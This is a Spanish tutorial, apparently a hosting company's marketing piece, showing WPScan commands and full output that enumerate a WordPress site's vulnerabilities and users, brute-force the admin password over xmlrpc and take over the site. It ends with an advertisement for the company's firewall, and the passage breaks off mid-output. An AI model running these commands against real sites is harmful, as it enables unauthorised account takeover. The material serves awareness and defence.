La intención de este tutorial no es más que poner de manifiesto la importancia de mantener la versión de tu WordPress actualizada y de que siempre disponga de una capa de Seguridad perimetral adicional que permita una protección más allá del simple WordPress.

Para llevar a cabo este experimento utilizaremos una herramienta estándar llamada Kali, en este caso la versión Live, que nos permitirá arrancar directamente un ordenador con un USB y empezar a trabajar.

¿Dónde descargo Kali?

Para descargar Kali Live accede a la URL https://www.kali.org/downloads/

Seleccionaremos, por ejemplo, la siguiente versión:

Kali Linux 64 Bit    HTTP | Torrent   

Y empezaremos la descarga.

¿Cómo arranco un ordenador con un USB?

Puedes grabar el fichero que te has descargado de Kali en un USB o en un CD.

Te detallamos como hacerlo:

En Windows

Encontrarás toda la información necesaria en https://www.tecnopeda.com/instalar-kali-linux-live/

En Linux

Simplemente ejecuta los siguientes comandos desde tu consola Linux

dd if=kali-linux-2019.1a-amd64.iso of=/dev/sdc bs=8M status=progress oflag=direct

Entendemos que /dev/sdc es el dispositivo USB

 

Acceder a Kali y ¿después?

Una vez haya arrancado el ordenador, accederás a la versión de Linux con Kali instalado dentro.

Ahora el siguiente paso es actualizar la base de datos de WPScan. Para ello escribiremos

wpscan –update

En la pantalla verás

_______________________________________________________________
__          _______   _____
\ \        / /  __ \ / ____|
\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
\ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
\  /\  /  | |     ____) | (__| (_| | | | |
\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team
Version 3.4.5
Sponsored by Sucuri – https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] Updating the Database …[i] Update completed.

Ya está todo listo para empezar a “hackear” wordpress

 

¿Empezamos a hackear?

Primero debemos saber la URL del WordPress que deseamos Hackear.

Importante: No hagas esto con un WordPress que no sean de tu propiedad. Este tutorial está hecho para que aprendas a protegerte, y para ello debemos enseñarte las vulnerabilidades de tu WordPress. No hagas un mal uso de él.

La web que probaremos nosotros es: http://pruebadeconcepto.com/

Para ello lanzaremos el siguiente comando:

wpscan –url pruebadeconcepto.com –enumerate

En la pantalla nos aparecerá lo siguiente

_______________________________________________________________
__          _______   _____
\ \        / /  __ \ / ____|
\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
\ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
\  /\  /  | |     ____) | (__| (_| | | | |
\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team
Version 3.4.5
Sponsored by Sucuri – https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://pruebadeconcepto.com/
[+] Started: Fri Mar 15 10:35:49 2019Interesting Finding(s):

[+] http://pruebadeconcepto.com/
| Interesting Entries:
|  – Server: Apache
|  – Upgrade: h2
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://pruebadeconcepto.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  – http://codex.wordpress.org/XML-RPC_Pingback_API
|  – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
|  – https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
|  – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
|  – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://pruebadeconcepto.com/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] http://pruebadeconcepto.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  – https://www.iplocation.net/defend-wordpress-from-ddos
|  – https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.6.8 identified (Insecure, released on 2017-10-31).
| Detected By: Rss Generator (Passive Detection)
|  – http://pruebadeconcepto.com/?feed=rss2, <generator>https://wordpress.org/?v=4.6.8</generator>
|  – http://pruebadeconcepto.com/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.6.8</generator>
|
| [!] 19 vulnerabilities identified:
|
| [!] Title: WordPress 2.8.6-4.9 – Authenticated JavaScript File Upload
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8966
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
|
| [!] Title: WordPress 1.5.0-4.9 – RSS and Atom Feed Escaping
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8967
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
|
| [!] Title: WordPress 4.3.0-4.9 – HTML Language Attribute Escaping
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8968
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
|
| [!] Title: WordPress 3.7-4.9 – ‘newbloguser’ Key Weak Hashing
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8969
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
|
| [!] Title: WordPress 3.7-4.9.1 – MediaElement Cross-Site Scripting (XSS)
|     Fixed in: 4.6.10
|     References:
|      – https://wpvulndb.com/vulnerabilities/9006
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
|      – https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
|      – https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
|      – https://core.trac.wordpress.org/ticket/42720
|
| [!] Title: WordPress <= 4.9.4 – Application Denial of Service (DoS) (unpatched)
|     References:
|      – https://wpvulndb.com/vulnerabilities/9021
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
|      – https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
|      – https://github.com/quitten/doser.py
|      – https://thehackernews.com/2018/02/wordpress-dos-exploit.html
|
| [!] Title: WordPress 3.7-4.9.4 – Remove localhost Default
|     Fixed in: 4.6.11
|     References:
|      – https://wpvulndb.com/vulnerabilities/9053
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
|      – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
|
| [!] Title: WordPress 3.7-4.9.4 – Use Safe Redirect for Login
|     Fixed in: 4.6.11
|     References:
|      – https://wpvulndb.com/vulnerabilities/9054
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
|      – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
|
| [!] Title: WordPress 3.7-4.9.4 – Escape Version in Generator Tag
|     Fixed in: 4.6.11
|     References:
|      – https://wpvulndb.com/vulnerabilities/9055
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
|      – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
|
| [!] Title: WordPress <= 4.9.6 – Authenticated Arbitrary File Deletion
|     Fixed in: 4.6.12
|     References:
|      – https://wpvulndb.com/vulnerabilities/9100
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
|      – https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
|      – http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
|      – https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
|      – https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
|      – https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
|
| [!] Title: WordPress <= 5.0 – Authenticated File Delete
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9169
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Authenticated Post Type Bypass
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9170
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|      – https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 – PHP Object Injection via Meta Data
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9171
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Authenticated Cross-Site Scripting (XSS)
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9172
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Cross-Site Scripting (XSS) that could affect plugins
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9173
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|      – https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 – User Activation Screen Search Engine Indexing
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9174
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – File Upload to XSS on Apache Web Servers
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9175
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|      – https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
|
| [!] Title: WordPress 3.7-5.0 (except 4.9.9) – Authenticated Code Execution
|     Fixed in: 5.0.1
|     References:
|      – https://wpvulndb.com/vulnerabilities/9222
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
|      – https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
|
| [!] Title: WordPress 3.9-5.1 – Comment Cross-Site Scripting (XSS)
|     Fixed in: 4.6.14
|     References:
|      – https://wpvulndb.com/vulnerabilities/9230
|      – https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
|      – https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
|      – https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[+] WordPress theme in use: twentysixteen
| Location: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/
| Last Updated: 2019-02-21T00:00:00.000Z
| Readme: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/readme.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/style.css?ver=4.6.8
| Style Name: Twenty Sixteen
| Style URI: https://wordpress.org/themes/twentysixteen/
| Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead …
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Detected By: Style (Passive Detection)
|  – http://pruebadeconcepto.com/wp-content/themes/twentysixteen/style.css?ver=4.6.8, Match: ‘Version: 1.3’

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations – Time: 00:00:00
<===============================================================================================================================>
(289 / 289) 100.00% Time: 00:00:00
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations – Time: 00:00:02
<===============================================================================================================================>
(2573 / 2573) 100.00% Time: 00:00:02

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups – Time: 00:00:00
<===============================================================================================================================>
(21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports – Time: 00:00:00
<===============================================================================================================================>
(36 / 36) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to “Plain” for those to be detected)
Brute Forcing Attachment IDs – Time: 00:00:04
<===============================================================================================================================>
(100 / 100) 100.00% Time: 00:00:04

[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs – Time: 00:00:00
<===============================================================================================================================>
(10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] superadmin
| Detected By: Author Posts – Display Name (Passive Detection)
| Confirmed By:
|  Rss Generator (Passive Detection)
|  Author Id Brute Forcing – Author Pattern (Aggressive Detection)

[+] editor
| Detected By: Author Id Brute Forcing – Author Pattern (Aggressive Detection)

[+] Finished: Fri Mar 15 10:36:01 2019
[+] Requests Done: 3069
[+] Cached Requests: 7
[+] Data Sent: 691.646 KB
[+] Data Received: 2.383 MB
[+] Memory used: 154.32 MB
[+] Elapsed time: 00:00:11

Lo que está haciendo ahora el sistema es buscar todas las posibles vulnerabilidades de este WordPress y mostrártelas.

Una vez conozcas las vulnerabilidades del WordPress que deseas podrás iniciar ataques más selectivos aprovechando estas vulnerabilidades.

¿Puedo llegar a saber el password de Administrador?

Sí, si el WordPress no está correctamente protegido podemos llegar a obtener el password del usuario administrador.

Con este password y usuario podremos entrar en el WordPress y tomar el control total del mismo.

Para conseguirlo escribiremos lo siguiente:

wpscan –url pruebadeconcepto.com –passwords common_passwds.txt

WPscan empezará a analizar diferentes passwords y diferentes sistemas que le permitirán realizar ataques de diccionario o de fuerza bruta contra este WordPress

_______________________________________________________________
__          _______   _____
\ \        / /  __ \ / ____|
\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
\ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
\  /\  /  | |     ____) | (__| (_| | | | |
\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team
Version 3.4.5
Sponsored by Sucuri – https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://pruebadeconcepto.com/
[+] Started: Fri Mar 15 10:37:03 2019Interesting Finding(s):

[+] http://pruebadeconcepto.com/
| Interesting Entries:
|  – Server: Apache
|  – Upgrade: h2
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://pruebadeconcepto.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  – http://codex.wordpress.org/XML-RPC_Pingback_API
|  – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
|  – https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
|  – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
|  – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://pruebadeconcepto.com/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] http://pruebadeconcepto.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  – https://www.iplocation.net/defend-wordpress-from-ddos
|  – https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.6.8 identified (Insecure, released on 2017-10-31).
| Detected By: Rss Generator (Passive Detection)
|  – http://pruebadeconcepto.com/?feed=rss2, <generator>https://wordpress.org/?v=4.6.8</generator>
|  – http://pruebadeconcepto.com/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.6.8</generator>
|
| [!] 19 vulnerabilities identified:
|
| [!] Title: WordPress 2.8.6-4.9 – Authenticated JavaScript File Upload
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8966
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
|
| [!] Title: WordPress 1.5.0-4.9 – RSS and Atom Feed Escaping
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8967
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
|
| [!] Title: WordPress 4.3.0-4.9 – HTML Language Attribute Escaping
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8968
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
|
| [!] Title: WordPress 3.7-4.9 – ‘newbloguser’ Key Weak Hashing
|     Fixed in: 4.6.9
|     References:
|      – https://wpvulndb.com/vulnerabilities/8969
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
|      – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
|
| [!] Title: WordPress 3.7-4.9.1 – MediaElement Cross-Site Scripting (XSS)
|     Fixed in: 4.6.10
|     References:
|      – https://wpvulndb.com/vulnerabilities/9006
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
|      – https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
|      – https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
|      – https://core.trac.wordpress.org/ticket/42720
|
| [!] Title: WordPress <= 4.9.4 – Application Denial of Service (DoS) (unpatched)
|     References:
|      – https://wpvulndb.com/vulnerabilities/9021
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
|      – https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
|      – https://github.com/quitten/doser.py
|      – https://thehackernews.com/2018/02/wordpress-dos-exploit.html
|
| [!] Title: WordPress 3.7-4.9.4 – Remove localhost Default
|     Fixed in: 4.6.11
|     References:
|      – https://wpvulndb.com/vulnerabilities/9053
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
|      – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
|
| [!] Title: WordPress 3.7-4.9.4 – Use Safe Redirect for Login
|     Fixed in: 4.6.11
|     References:
|      – https://wpvulndb.com/vulnerabilities/9054
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
|      – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
|
| [!] Title: WordPress 3.7-4.9.4 – Escape Version in Generator Tag
|     Fixed in: 4.6.11
|     References:
|      – https://wpvulndb.com/vulnerabilities/9055
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
|      – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
|      – https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
|
| [!] Title: WordPress <= 4.9.6 – Authenticated Arbitrary File Deletion
|     Fixed in: 4.6.12
|     References:
|      – https://wpvulndb.com/vulnerabilities/9100
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
|      – https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
|      – http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
|      – https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
|      – https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
|      – https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
|
| [!] Title: WordPress <= 5.0 – Authenticated File Delete
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9169
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Authenticated Post Type Bypass
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9170
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|      – https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 – PHP Object Injection via Meta Data
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9171
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Authenticated Cross-Site Scripting (XSS)
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9172
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Cross-Site Scripting (XSS) that could affect plugins
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9173
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|      – https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 – User Activation Screen Search Engine Indexing
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9174
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – File Upload to XSS on Apache Web Servers
|     Fixed in: 4.6.13
|     References:
|      – https://wpvulndb.com/vulnerabilities/9175
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
|      – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|      – https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
|
| [!] Title: WordPress 3.7-5.0 (except 4.9.9) – Authenticated Code Execution
|     Fixed in: 5.0.1
|     References:
|      – https://wpvulndb.com/vulnerabilities/9222
|      – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
|      – https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
|
| [!] Title: WordPress 3.9-5.1 – Comment Cross-Site Scripting (XSS)
|     Fixed in: 4.6.14
|     References:
|      – https://wpvulndb.com/vulnerabilities/9230
|      – https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
|      – https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
|      – https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[+] WordPress theme in use: twentysixteen
| Location: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/
| Last Updated: 2019-02-21T00:00:00.000Z
| Readme: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/readme.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/style.css?ver=4.6.8
| Style Name: Twenty Sixteen
| Style URI: https://wordpress.org/themes/twentysixteen/
| Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead …
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Detected By: Style (Passive Detection)
|  – http://pruebadeconcepto.com/wp-content/themes/twentysixteen/style.css?ver=4.6.8, Match: ‘Version: 1.3’

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups – Time: 00:00:00
<===============================================================================================================================>
(21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs – Time: 00:00:00

<===============================================================================================================================>
(10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] superadmin
| Detected By: Author Posts – Display Name (Passive Detection)
| Confirmed By:
|  Rss Generator (Passive Detection)
|  Author Id Brute Forcing – Author Pattern (Aggressive Detection)

[+] editor
| Detected By: Author Id Brute Forcing – Author Pattern (Aggressive Detection)

[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] – superadmin / ContraseñaSuperFuerte23
Trying editor / ContraseñaSuperFuerte23 Time: 00:00:00
<===============================================================================================================================>
(2 / 2) 100.00% Time: 00:00:00

[i] Valid Combinations Found:
| Username: superadmin, Password: ContraseñaSuperFuerte23

[+] Finished: Fri Mar 15 10:37:08 2019
[+] Requests Done: 29
[+] Cached Requests: 50
[+] Data Sent: 6.738 KB
[+] Data Received: 21.675 KB
[+] Memory used: 78.672 MB
[+] Elapsed time: 00:00:04

Una vez acabado el proceso veremos, como parte de lo que se ha mostrado por pantalla, un mensaje parecido a este:

[SUCCESS] – superadmin / Contraseña SuperFuerte23

Aquí nos está indicando el usuario i la contraseña del WordPress que hemos atacado

Usuario: superadmin
Contraseña: SuperFuerte23

Ya está, lo hemos conseguido, ya podemos acceder y controlar este WordPress.

Ahora, simplemente, entramos en el administrador del WordPress y a partir de aquí cambiamos la contraseña y el WordPress ya es nuestro.

http://pruebadeconcepto.com/wp-admin/

 

Muy Importante

Insistimos en que el manual es informativo y para que conozcas todas las inseguridades de tu WordPress, no para que hagas un mal uso de él.

 

¿Qué seguridad tiene tu hosting?

Si has seguido las instrucciones de este tutorial sobre tu WordPress y has conseguido llegar a obtener tu usuario y contraseña, tienes un grave problema.

Tu proveedor de Hosting no te está dando una capa de seguridad que te permita estar tranquilo. No lo dudes ni un momento, debes cambiar de proveedor rápidamente.

Si decides hacer este cambio, analiza primero correctamente los servicios de seguridad perimetral que te den los proveedores de hosting que estés mirando.

Recuerda que en SW Hosting damos un filtrado perimetral Anti Hacking de forma gratuita en todos nuestros planes de Hosting.

 

¿Qué pasaría si este WordPress estuviera en SW Hosting?

En todos los hostings que SW Hosting proporciona incorporamos de forma gratuita una capa de seguridad Anti Hacking.

Esta capa de FIreWalls de nueva generación habría detectado el ataque que estás realizando y lo habría bloqueado en tiempo real, impidiendo a WPScan llegar a realizar ningún tipo de análisis, y, por supuesto, no llegaría a detectar el usuario y contraseña del WordPress.

Pero no queremos dejarte con la duda. Hagamos el mismo procedimiento: entramos de nuevo en nuestro Kali y ejecutamos el mismo comando, pero esta vez para verificar un WordPress que está ubicado en un Hosting compartido contratado en SW hosting.

Lo primero es que veáis una traza del camino hacia el WordPress que probamos y podáis ver que se encuentra ubicado en un Hosting compartido en SW Hosting.

traceroute to pruebadeconcepto.com (81.25.126.103), 30 hops max, 60 byte packets
1  gateway (192.168.2.245)  0.623 ms  0.621 ms  0.604 ms
2  swhosting.com (81.25.112.246)  1.360 ms  1.352 ms  1.338 ms
3  192.168.11.2 (192.168.11.2)  1.326 ms  1.308 ms  1.343 ms
4  192.168.12.2 (192.168.12.2)  1.739 ms  1.720 ms  1.717 ms
5  192.168.12.1 (192.168.12.1)  2.141 ms  2.132 ms  2.163 ms
6  pruebadeconcepto.com (81.25.126.103)  2.915 ms  1.773 ms  1.753 ms

Ahora ejecutamos el siguiente comando:

wpscan –url http://pruebadeconcepto.com/ –passwords passwords.list

Y WPScan nos muestra lo siguiente

_______________________________________________________________
__          _______   _____
